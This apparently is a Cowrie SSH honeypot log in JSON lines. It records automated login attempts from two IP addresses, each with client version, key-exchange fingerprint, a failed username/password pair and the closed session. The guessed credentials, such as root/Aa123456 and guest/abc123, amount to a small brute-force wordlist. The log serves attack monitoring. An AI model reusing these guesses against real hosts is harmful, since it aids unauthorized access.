{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:07.210634Z","src_ip":"192.109.200.237","session":"ecf8316fa2c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:07.457039Z","src_ip":"192.109.200.237","session":"ecf8316fa2c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:08.541591Z","src_ip":"192.109.200.237","session":"ecf8316fa2c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6068f4ad991","protocol":"ssh","message":"New connection: 192.109.200.237:47284 (159.203.135.109:22) [session: a6068f4ad991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:10.292033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:10.297183Z","src_ip":"192.109.200.237","session":"a6068f4ad991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:10.380384Z","src_ip":"192.109.200.237","session":"a6068f4ad991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:10.630564Z","src_ip":"192.109.200.237","session":"a6068f4ad991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:11.788425Z","src_ip":"192.109.200.237","session":"a6068f4ad991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47306,"dst_ip":"159.203.135.109","dst_port":22,"session":"c75eeddcf9d3","protocol":"ssh","message":"New connection: 192.109.200.237:47306 (159.203.135.109:22) [session: c75eeddcf9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:13.403802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:13.408959Z","src_ip":"192.109.200.237","session":"c75eeddcf9d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:13.494878Z","src_ip":"192.109.200.237","session":"c75eeddcf9d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:13.742709Z","src_ip":"192.109.200.237","session":"c75eeddcf9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:14.828931Z","src_ip":"192.109.200.237","session":"c75eeddcf9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47324,"dst_ip":"159.203.135.109","dst_port":22,"session":"d00542f99588","protocol":"ssh","message":"New connection: 192.109.200.237:47324 (159.203.135.109:22) [session: d00542f99588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:16.615186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:16.671590Z","src_ip":"192.109.200.237","session":"d00542f99588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:16.799594Z","src_ip":"192.109.200.237","session":"d00542f99588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:17.046158Z","src_ip":"192.109.200.237","session":"d00542f99588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:18.131950Z","src_ip":"192.109.200.237","session":"d00542f99588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47328,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fee2b9be67d","protocol":"ssh","message":"New connection: 192.109.200.237:47328 (159.203.135.109:22) [session: 4fee2b9be67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:19.875818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:19.880085Z","src_ip":"192.109.200.237","session":"4fee2b9be67d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:19.965056Z","src_ip":"192.109.200.237","session":"4fee2b9be67d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:20.211323Z","src_ip":"192.109.200.237","session":"4fee2b9be67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:21.296053Z","src_ip":"192.109.200.237","session":"4fee2b9be67d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37408,"dst_ip":"159.203.135.109","dst_port":22,"session":"e231a33a045a","protocol":"ssh","message":"New connection: 80.94.92.184:37408 (159.203.135.109:22) [session: e231a33a045a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:21.360105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:21.596488Z","src_ip":"80.94.92.184","session":"e231a33a045a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:21.611122Z","src_ip":"80.94.92.184","session":"e231a33a045a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:22.759902Z","src_ip":"80.94.92.184","session":"e231a33a045a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44496,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bdfddb50292","protocol":"ssh","message":"New connection: 192.109.200.237:44496 (159.203.135.109:22) [session: 3bdfddb50292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:23.001703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:23.006501Z","src_ip":"192.109.200.237","session":"3bdfddb50292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:23.088331Z","src_ip":"192.109.200.237","session":"3bdfddb50292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:23.336576Z","src_ip":"192.109.200.237","session":"3bdfddb50292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:24.421772Z","src_ip":"192.109.200.237","session":"3bdfddb50292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:24.753425Z","src_ip":"80.94.92.184","session":"e231a33a045a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44522,"dst_ip":"159.203.135.109","dst_port":22,"session":"704e6327af98","protocol":"ssh","message":"New connection: 192.109.200.237:44522 (159.203.135.109:22) [session: 704e6327af98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:26.062004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:26.066010Z","src_ip":"192.109.200.237","session":"704e6327af98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:26.148704Z","src_ip":"192.109.200.237","session":"704e6327af98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:26.547875Z","src_ip":"192.109.200.237","session":"704e6327af98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:27.633047Z","src_ip":"192.109.200.237","session":"704e6327af98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44540,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac78488699b1","protocol":"ssh","message":"New connection: 192.109.200.237:44540 (159.203.135.109:22) [session: ac78488699b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:29.340718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:29.345870Z","src_ip":"192.109.200.237","session":"ac78488699b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 